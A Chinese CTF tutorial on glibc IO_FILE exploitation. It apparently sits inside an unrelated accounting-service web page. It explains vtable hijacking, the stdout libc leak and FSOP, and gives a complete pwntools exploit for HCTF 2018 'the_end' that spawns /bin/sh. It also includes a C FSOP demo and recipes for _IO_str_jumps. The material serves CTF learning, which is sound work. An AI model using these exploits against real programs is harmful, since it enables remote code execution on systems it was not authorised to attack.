您好,欢迎访问代理记账网站
移动应用 微信公众号 联系我们

咨询热线 -

电话 15988168888

联系客服
  • 价格透明
  • 信息保密
  • 进度掌控
  • 售后无忧

【PWN】IO_FILE的利用

IO_FILE 的结构

struct _IO_FILE {
  int _flags;       /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags

  /* The following pointers correspond to the C++ streambuf protocol. */
  /* Note:  Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
  char* _IO_read_ptr;   /* Current read pointer */
  char* _IO_read_end;   /* End of get area. */
  char* _IO_read_base;  /* Start of putback+get area. */
  char* _IO_write_base; /* Start of put area. */
  char* _IO_write_ptr;  /* Current put pointer. */
  char* _IO_write_end;  /* End of put area. */
  char* _IO_buf_base;   /* Start of reserve area. */
  char* _IO_buf_end;    /* End of reserve area. */
  /* The following fields are used to support backing up and undo. */
  char *_IO_save_base; /* Pointer to start of non-current get area. */
  char *_IO_backup_base;  /* Pointer to first valid character of backup area */
  char *_IO_save_end; /* Pointer to end of non-current get area. */

  struct _IO_marker *_markers;

  struct _IO_FILE *_chain;

  int _fileno;
#if 0
  int _blksize;
#else
  int _flags2;
#endif
  _IO_off_t _old_offset; /* This used to be _offset but it's too small.  */

#define __HAVE_COLUMN /* temporary */
  /* 1+column number of pbase(); 0 is unknown. */
  unsigned short _cur_column;
  signed char _vtable_offset;
  char _shortbuf[1];

  /*  char* _save_gptr;  char* _save_egptr; */

  _IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};
struct _IO_FILE_complete
{
  struct _IO_FILE _file;
#endif
#if defined _G_IO_IO_FILE_VERSION && _G_IO_IO_FILE_VERSION == 0x20001
  _IO_off64_t _offset;
# if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
  /* Wide character stream stuff.  */
  struct _IO_codecvt *_codecvt;
  struct _IO_wide_data *_wide_data;
  struct _IO_FILE *_freeres_list;
  void *_freeres_buf;
# else
  void *__pad1;
  void *__pad2;
  void *__pad3;
  void *__pad4;

  size_t __pad5;
  int _mode;
  /* Make sure we don't get into trouble again.  */
  char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)];
#endif
};

   IO_FILE实际上还包括在一个IO_FILE_plus中

struct _IO_FILE_plus
{
    _IO_FILE    file;
    IO_jump_t   *vtable;
}

在 libc2.23 版本下,32 位的 vtable 偏移为 0x94,64 位偏移为 0xd8 

IO_FILE_plus结构通过链表链接

        初始时形成以下顺序:

        _IO_list_all  -> _IO_2_1_stderr_ ->  _IO_2_1_stdout_  ->  _IO_2_1_stdin_

_IO_list_all 是一个链表头

后面三个文件是三个自动open的文件,它们的文件描述符为2,1,0

stdin对应0,所以我们也可以猜想平常写的read(0,xxx,xxx)与write(1,xxx,xxx)是何含义,我们的io输入输出被抽象成了文件输入输出

假设我们open file,其会被插入到链表头位置,类似我们之前学的fastbin 插入。

它们会存在哪里?

自动开启的三个文件结构(IO_FILE_plus)会被存放在libc中,后续手动开启的则会被分配在堆区。

.data:00000000003C56F8                 dq offset _IO_file_jumps  // vtables
.data:00000000003C5700                 public stderr
.data:00000000003C5700 stderr          dq offset _IO_2_1_stderr_
.data:00000000003C5700                                         ; DATA XREF: LOAD:000000000000BAF0↑o
.data:00000000003C5700                                         ; fclose+F2↑r ...
.data:00000000003C5708                 public stdout
.data:00000000003C5708 stdout          dq offset _IO_2_1_stdout_
.data:00000000003C5708                                         ; DATA XREF: LOAD:0000000000009F48↑o
.data:00000000003C5708                                         ; fclose+E9↑r ...
.data:00000000003C5710                 public stdin
.data:00000000003C5710 stdin           dq offset _IO_2_1_stdin_
.data:00000000003C5710                                         ; DATA XREF: LOAD:0000000000006DF8↑o
.data:00000000003C5710                                         ; fclose:loc_6D340↑r ...
.data:00000000003C5718                 dq offset sub_20B70
.data:00000000003C5718 _data           ends
.data:00000000003C5718
.bss:00000000003C5720 ; ===========================================================================

那么什么是 *vtable项呢?

*vtable是一个指针,指向一个虚表。该虚表中存放了

void * funcs[] = {
   1 NULL, // "extra word"
   2 NULL, // DUMMY
   3 exit, // finish
   4 NULL, // overflow
   5 NULL, // underflow
   6 NULL, // uflow
   7 NULL, // pbackfail
   
   8 NULL, // xsputn  #printf后面讲解执行流程章节会用到此处
   9 NULL, // xsgetn
   10 NULL, // seekoff
   11 NULL, // seekpos
   12 NULL, // setbuf
   13 NULL, // sync
   14 NULL, // doallocate
   15 NULL, // read
   16 NULL, // write
   17 NULL, // seek
   18 pwn,  // close
   19 NULL, // stat
   20 NULL, // showmanyc
   21 NULL, // imbue
};

我们还是随便打开一个程序,dbg看看它的示例吧

记录错误:

----------------------------------------------------------------------------------------------------------------------------

通过 p _IO_list_all 我们可以查看该符号的地址

 

p  *(struct _IO_FILE_plus *) _IO_list_all

分析: 

 这里我原本是这样写的,但存在严重逻辑错误, p _IO_list_all 会展示整个list all符号的内容,所以list all实际上只有一个指针

那么  p  *(struct _IO_FILE_plus *) _IO_list_all(struct不写结果也一样)是什么?实际上输出如上图,这里输出的是stderr的内容。那么 p stderr呢?p stderr输出stderr的地址,p *stdrr才会输出整个表。

补习pwndbg的用法,越发发现这东西的强大。

-------------------------------------------------------------------------------------------------------------------------- 

我们这里可以看到vtable项、fileno项与_chain项

_chain项指向下一个表,如stderr的chain的值就是stdout的地址,fileno存的就是该文件的文件描述符。

那么这个虚表是干什么的?

_IO_puts在过程当中调用了一个叫做_IO_sputn函数(_IO_fwrite也会调用这个),_IO_sputn其实是一个,它的作用就是调用_IO_2_1_stdout_中的vtable所指向的_xsputn,也就是_IO_new_file_xsputn函数

这个虚表存放在哪里?

这个虚表也存放在了data区,还记得上面有张图吧,其就在stderr的上面。

 日常所用的输入输出函数会调用虚表中的函数

fread->_IO_XSGETN
fwrite->_IO_XSPUTN
fopen->malloc a new file struct->make file vtable->initialization file struct->puts initialzation file in file struct
fclose ->_IO_unlink_it->_IO_file_close_it->_IO_file_finish(_IO_FINISH)

如puts会调用虚表中的_xsputn,而经过一系列操作,最终会系统调用write。

利用_IO_2_1_stdout泄露libc

 iofile的相关利用,有一个很重要的效果就是泄露libc。

上期讲到了House of Roman,这种利用就是基于没有输出手段下强行爆破,但也能看到,效率太低了,这个方法就是可以替代House of Roman,真正的爆破只需要一次对unsorted bin地址向stdout表地址的爆破,概率为1/16,之后通过该法获得偏移。

具体参照大佬http://t.csdn.cn/1SgYq

设置flag位绕过检测

_flags = 0xFBAD1800

修改write_base,使其指向我们想泄露的地址。

伪造 vtable 劫持程序流程

由于我们调用io函数时,其最终会指向vtable的函数。所以我们可以通过改变vtable对应项或改变vtable指针,使其指向可利用位置,再在相应位置填写目标函数。

在 libc2.23 之前,这些 vtable 是可以写入并且不存在其他检测的。换言之,2.23及以后,只能通过修改vtable指针再进行利用了。

举例2018 HCTF the_end

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  signed int i; // [rsp+4h] [rbp-Ch]
  void *buf; // [rsp+8h] [rbp-8h]

  sleep(0);
  printf("here is a gift %p, good luck ;)\n", &sleep);
  fflush(_bss_start);
  close(1);
  close(2);
  for ( i = 0; i <= 4; ++i )
  {
    read(0, &buf, 8uLL);
    read(0, buf, 1uLL);
  }
  exit(1337);
}

由于sleep函数地址泄露,所以可以获得基址,于是得到偏移后虚表指针地址,shell地址。

题目拥有5字节任意地址修改能力。通过上一篇house of storm的分析,我们可以看到,对于一个data区附近的地址,需要覆盖末尾3字节,才能变成shell地址。因此剩下两字节的用处需要我们妥善覆盖指向一个可覆盖值。由于拥有基址,此题不需要爆破,非常的友善。本题我们利用的是:

  • 在程序调用 exit 后,会遍历 _IO_list_all ,调用 _IO_2_1_stdout_ 下的 vtable 中 _setbuf 函数。

setbuf在虚表0x58偏移处。

所以我们覆盖虚表指针的数值为 伪造处地址-0x58

exp:

from pwn import *
context.log_level="debug"

libc=ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
# p = process('the_end')
p = remote('127.0.0.1',1234)

rem = 0
if rem ==1:
    p = remote('150.109.44.250',20002)
    p.recvuntil('Input your token:')
    p.sendline('RyyWrOLHepeGXDy6g9gJ5PnXsBfxQ5uU')

sleep_ad = p.recvuntil(', good luck',drop=True).split(' ')[-1]

libc_base = long(sleep_ad,16) - libc.symbols['sleep']
one_gadget = libc_base + 0xf02b0
vtables =     libc_base + 0x3C56F8

fake_vtable = libc_base + 0x3c5588
target_addr = libc_base + 0x3c55e0

print 'libc_base: ',hex(libc_base)
print 'one_gadget:',hex(one_gadget)
print 'exit_addr:',hex(libc_base + libc.symbols['exit'])

# gdb.attach(p)

for i in range(2):
    p.send(p64(vtables+i))
    p.send(p64(fake_vtable)[i])


for i in range(3):
    p.send(p64(target_addr+i))
    p.send(p64(one_gadget)[i])

p.sendline("exec /bin/sh 1>&0")

p.interactive()

FSOP

File Stream Oriented Programming 面向文件流编程bushi

FSOP 的核心思想就是劫持_IO_list_all 的值来伪造链表和其中的_IO_FILE 项,但是单纯的伪造只是构造了数据还需要某种方法进行触发。FSOP 选择的触发方法是调用_IO_flush_all_lockp,这个函数会刷新_IO_list_all 链表中所有项的文件流,相当于对每个 FILE 调用 fflush,也对应着会调用_IO_FILE_plus.vtable 中的_IO_overflow。

触发该函数需要绕过

if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base))
  • fp->_mode <= 0
  • fp->_IO_write_ptr > fp->_IO_write_base

而_IO_flush_all_lockp 不需要攻击者手动调用,在一些情况下这个函数会被系统调用:

1. 当 libc 执行 abort 流程时

2. 当执行 exit 函数时

3. 当执行流从 main 函数返回时

ctfwiki给的示例很简单,具体利用有house of  orange,后面再说。

#define _IO_list_all 0x7ffff7dd2520
#define mode_offset 0xc0
#define writeptr_offset 0x28
#define writebase_offset 0x20
#define vtable_offset 0xd8

int main(void)
{
    void *ptr;
    long long *list_all_ptr;

    ptr=malloc(0x200);

    *(long long*)((long long)ptr+mode_offset)=0x0;
    *(long long*)((long long)ptr+writeptr_offset)=0x1;
    *(long long*)((long long)ptr+writebase_offset)=0x0;
    *(long long*)((long long)ptr+vtable_offset)=((long long)ptr+0x100);

    *(long long*)((long long)ptr+0x100+24)=0x41414141;

    list_all_ptr=(long long *)_IO_list_all;

    list_all_ptr[0]=ptr;

    exit(0);
}

glibc 2.24 下 IO_FILE 的利用

 在 2.24 版本的 glibc 中,全新加入了针对 IO_FILE_plus 的 vtable 劫持的检测措施,glibc 会在调用虚函数之前首先检查 vtable 地址的合法性。首先会验证 vtable 是否位于_IO_vtable 段中,如果满足条件就正常执行,否则会调用_IO_vtable_check 做进一步检查。

由于检测,利用方法变成了改变file中的buf_base实现任意读或者将vtable指针改为_IO_str_jumps再利用。

fileno 与缓冲区的相关利用

由于fwrite等函数会最终调用io函数,其缓冲区的初地址有buf_base决定,所以如果修改buf_base与buf_end就可以实现任意地址输入。

_IO_str_jumps -> overflow

libc中不仅仅只有_IO_file_jumps这么一个vtable,还有一个叫_IO_str_jumps的 ,这个 vtable 不在 check 范围之内。如果我们能设置文件指针的 vtable 为 _IO_str_jumps 么就能调用不一样的文件操作函数。

 构造条件:

  1. 1. fp->_flags & _IO_NO_WRITES为假
  2. 2. (pos = fp->_IO_write_ptr - fp->_IO_write_base) >= ((fp->_IO_buf_end - fp->_IO_buf_base) + flush_only(1))
  3. 3. fp->_flags & _IO_USER_BUF(0x01)为假
  4. 4. 2*(fp->_IO_buf_end - fp->_IO_buf_base) + 100 不能为负数
  5. 5. new_size = 2 * (fp->_IO_buf_end - fp->_IO_buf_base) + 100; 应当指向/bin/sh字符串对应的地址
  6. 6. fp+0xe0指向system地址

 _IO_str_jumps -> finish

 条件:

  1. _IO_buf_base 不为空
  2. _flags & _IO_USER_BUF(0x01) 为假

构造:

_flags = (binsh_in_libc + 0x10) & ~1

_IO_buf_base = binsh_addr

_freeres_list = 0x2

_freeres_buf = 0x3

_mode = -1

vtable = _IO_str_finish - 0x18

fp+0xe8 -> system_addr

 后两者都会与house of orange有关,这部分放到house of orange再分析。


分享:

低价透明

统一报价,无隐形消费

金牌服务

一对一专属顾问7*24小时金牌服务

信息保密

个人信息安全有保障

售后无忧

服务出问题客服经理全程跟进